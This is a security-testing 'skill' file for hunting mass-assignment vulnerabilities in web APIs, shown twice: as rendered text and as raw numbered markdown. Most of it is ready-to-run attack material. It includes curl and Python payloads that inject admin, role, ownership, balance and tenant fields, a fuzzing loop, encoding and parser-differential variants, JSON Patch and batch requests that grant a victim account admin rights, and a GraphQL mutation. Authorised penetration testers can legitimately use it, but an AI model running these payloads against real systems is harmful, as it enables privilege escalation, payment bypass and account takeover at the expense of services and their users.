Mass Assignment Hunting
Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like isAdmin, role, ownerId, plan, tier, balance, and verified can be injected to escalate privileges, bypass payments, or assume ownership of resources.
When to Use
- API accepts JSON/XML/form body with fields beyond what the UI exposes.
- User profile updates, registration, checkout, or resource creation endpoints.
- Framework ORMs (Rails ActiveRecord, Laravel Eloquent, Django ORM, Mongoose, Prisma) where bulk assignment is the default.
- PATCH endpoints that accept sparse updates — may skip per-field authorization.
Quick Detection
# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","isAdmin":true,"role":"admin"}'
Key Sensitive Field Dictionary
| Field |
Impact |
isAdmin, is_admin, admin |
Admin escalation |
role, roles, user_role |
Role escalation |
ownerId, user_id, authorId |
Resource takeover |
plan, tier, subscription_type |
Payment bypass |
balance, credits, wallet |
Financial manipulation |
verified, is_verified, email_verified |
Verification bypass |
discount, coupon_applied, promo |
Pricing manipulation |
organizationId, tenantId, teamId |
Cross-tenant access |
banned, disabled, suspended |
Account state control |
Procedure
Phase 1 — Sensitive Field Injection
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
"plan:enterprise" "tier:platinum" "balance:999999"
"verified:true" "ownerId:1" "user_id:1" "authorId:1"
"organizationId:1" "teamId:1" "tenantId:1"
"can_manage:true" "permissions:{\"admin\":true}"
"access_level:admin" "group:administrators"
"is_superuser:true" "superuser:1" "staff:true")
for field in "${FIELDS[@]}"; do
key="${field%%:*}"
val="${field#*:}"
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d "{\"$key\":$val,\"name\":\"test\"}" \
-w "\n%{http_code} — $key\n" -o /dev/null
done
Phase 2 — Shape Variants & Encoding
# Dot-path notation (Mongoose, some ORMs)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"profile.is_admin":true}' \
-H "Content-Type: application/json"
# Bracket notation (PHP frameworks)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
-d 'user[name]=test&user[is_admin]=1' \
-H "Content-Type: application/x-www-form-urlencoded"
# Array wrappers (Rails, Laravel)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"user":{"name":"test","admin":true}}' \
-H "Content-Type: application/json"
# Duplicate keys (parser differential)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"name":"test","role":"user","role":"admin"}' \
-H "Content-Type: application/json"
Phase 3 — Framework-Specific Patterns
# Django REST Framework — PATCH on nested serializers
requests.patch("https://target.com/api/profile/", json={
"user": {"is_staff": True, "is_superuser": True}
})
# Laravel Eloquent — forceFill bypass
requests.post("https://target.com/api/users", json={
"name": "test", "email": "test@test.com",
"is_admin": 1, "role": "admin"
})
# Mongoose — $set on findByIdAndUpdate
requests.put("https://target.com/api/users/me", json={
"$set": {"role": "admin", "verified": True}
})
# Prisma — connect/create nested relations
requests.post("https://target.com/api/organizations", json={
"name": "test",
"owner": {"connect": {"id": 1}} # takeover existing owner
})
Phase 4 — Batch & Patch Format Exploitation
# JSON Patch — add operation with sensitive field
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json-patch+json" \
-d '[{"op":"add","path":"/role","value":"admin"}]'
# JSON Merge Patch — full object replacement
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/merge-patch+json" \
-d '{"role":"admin","verified":true}'
# Batch endpoint — per-item auth skipped
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \
-d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'
Phase 5 — GraphQL Input Type Injection
mutation UpdateProfile {
updateProfile(input: {
name: "test"
role: ADMIN # injected field not in schema
isAdmin: true # injected field
}) {
id
role
}
}
Pitfalls
- Some frameworks silently ignore unknown fields. Try the same field with different naming conventions (snake_case, camelCase, PascalCase).
- PATCH may be more permissive than PUT. Test both methods — some frameworks apply different serializers per HTTP method.
- GraphQL input types are self-documenting. Use introspection to find all writable fields, then test for extras not in the schema.
- Batch endpoints often skip per-item authorization. Test with mixed arrays where only one item belongs to the attacker.
Verification
- Inject a sensitive field into a PATCH/POST/PUT endpoint that the attacker should not control.
- Verify the field was persisted by reading it back via GET.
- Confirm the field change grants elevated access (e.g., access admin panel, view other users).
- Test with multiple naming conventions to rule out framework-level field rejection.
- Check batch and patch-format endpoints which may use different serializers.
Related Skills
hunt-api-misconfig — Broader API misconfiguration including mass assignment patterns.
hunt-idor — Object-level authorization gaps often combined with mass assignment.
hunt-write-gap — Endpoints that allow writes without requiring read authentication.
1---2name: hunt-mass-assignment3description: Hunt mass assignment via sensitive field injection and ORM framework exploitation.4license: MIT5---67# Mass Assignment Hunting89Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like `isAdmin`, `role`, `ownerId`, `plan`, `tier`, `balance`, and `verified` can be injected to escalate privileges, bypass payments, or assume ownership of resources.1011## When to Use1213- API accepts JSON/XML/form body with fields beyond what the UI exposes.14- User profile updates, registration, checkout, or resource creation endpoints.15- Framework ORMs (Rails ActiveRecord, Laravel Eloquent, Django ORM, Mongoose, Prisma) where bulk assignment is the default.16- PATCH endpoints that accept sparse updates — may skip per-field authorization.1718## Quick Detection1920```bash21# Inject sensitive fields into profile update22curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \23 -H "Content-Type: application/json" \24 -d '{"name":"test","isAdmin":true,"role":"admin"}'25```2627## Key Sensitive Field Dictionary2829| Field | Impact |30|---|---|31| `isAdmin`, `is_admin`, `admin` | Admin escalation |32| `role`, `roles`, `user_role` | Role escalation |33| `ownerId`, `user_id`, `authorId` | Resource takeover |34| `plan`, `tier`, `subscription_type` | Payment bypass |35| `balance`, `credits`, `wallet` | Financial manipulation |36| `verified`, `is_verified`, `email_verified` | Verification bypass |37| `discount`, `coupon_applied`, `promo` | Pricing manipulation |38| `organizationId`, `tenantId`, `teamId` | Cross-tenant access |39| `banned`, `disabled`, `suspended` | Account state control |4041## Procedure4243### Phase 1 — Sensitive Field Injection4445```bash46# Dictionary fuzzing on profile endpoint47FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"48 "plan:enterprise" "tier:platinum" "balance:999999"49 "verified:true" "ownerId:1" "user_id:1" "authorId:1"50 "organizationId:1" "teamId:1" "tenantId:1"51 "can_manage:true" "permissions:{\"admin\":true}"52 "access_level:admin" "group:administrators"53 "is_superuser:true" "superuser:1" "staff:true")5455for field in "${FIELDS[@]}"; do56 key="${field%%:*}"57 val="${field#*:}"58 curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \59 -H "Content-Type: application/json" \60 -d "{\"$key\":$val,\"name\":\"test\"}" \61 -w "\n%{http_code} — $key\n" -o /dev/null62done63```6465### Phase 2 — Shape Variants & Encoding6667```bash68# Dot-path notation (Mongoose, some ORMs)69curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \70 -d '{"profile.is_admin":true}' \71 -H "Content-Type: application/json"7273# Bracket notation (PHP frameworks)74curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \75 -d 'user[name]=test&user[is_admin]=1' \76 -H "Content-Type: application/x-www-form-urlencoded"7778# Array wrappers (Rails, Laravel)79curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \80 -d '{"user":{"name":"test","admin":true}}' \81 -H "Content-Type: application/json"8283# Duplicate keys (parser differential)84curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \85 -d '{"name":"test","role":"user","role":"admin"}' \86 -H "Content-Type: application/json"87```8889### Phase 3 — Framework-Specific Patterns9091```python92# Django REST Framework — PATCH on nested serializers93requests.patch("https://target.com/api/profile/", json={94 "user": {"is_staff": True, "is_superuser": True}95})9697# Laravel Eloquent — forceFill bypass98requests.post("https://target.com/api/users", json={99 "name": "test", "email": "test@test.com",100 "is_admin": 1, "role": "admin"101})102103# Mongoose — $set on findByIdAndUpdate104requests.put("https://target.com/api/users/me", json={105 "$set": {"role": "admin", "verified": True}106})107108# Prisma — connect/create nested relations109requests.post("https://target.com/api/organizations", json={110 "name": "test",111 "owner": {"connect": {"id": 1}} # takeover existing owner112})113```114115### Phase 4 — Batch & Patch Format Exploitation116117```bash118# JSON Patch — add operation with sensitive field119curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \120 -H "Content-Type: application/json-patch+json" \121 -d '[{"op":"add","path":"/role","value":"admin"}]'122123# JSON Merge Patch — full object replacement124curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \125 -H "Content-Type: application/merge-patch+json" \126 -d '{"role":"admin","verified":true}'127128# Batch endpoint — per-item auth skipped129curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \130 -d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'131```132133### Phase 5 — GraphQL Input Type Injection134135```graphql136mutation UpdateProfile {137 updateProfile(input: {138 name: "test"139 role: ADMIN # injected field not in schema140 isAdmin: true # injected field141 }) {142 id143 role144 }145}146```147148## Pitfalls149150- **Some frameworks silently ignore unknown fields.** Try the same field with different naming conventions (snake_case, camelCase, PascalCase).151- **PATCH may be more permissive than PUT.** Test both methods — some frameworks apply different serializers per HTTP method.152- **GraphQL input types are self-documenting.** Use introspection to find all writable fields, then test for extras not in the schema.153- **Batch endpoints often skip per-item authorization.** Test with mixed arrays where only one item belongs to the attacker.154155## Verification1561571. Inject a sensitive field into a PATCH/POST/PUT endpoint that the attacker should not control.1582. Verify the field was persisted by reading it back via GET.1593. Confirm the field change grants elevated access (e.g., access admin panel, view other users).1604. Test with multiple naming conventions to rule out framework-level field rejection.1615. Check batch and patch-format endpoints which may use different serializers.162163## Related Skills164165- **`hunt-api-misconfig`** — Broader API misconfiguration including mass assignment patterns.166- **`hunt-idor`** — Object-level authorization gaps often combined with mass assignment.167- **`hunt-write-gap`** — Endpoints that allow writes without requiring read authentication.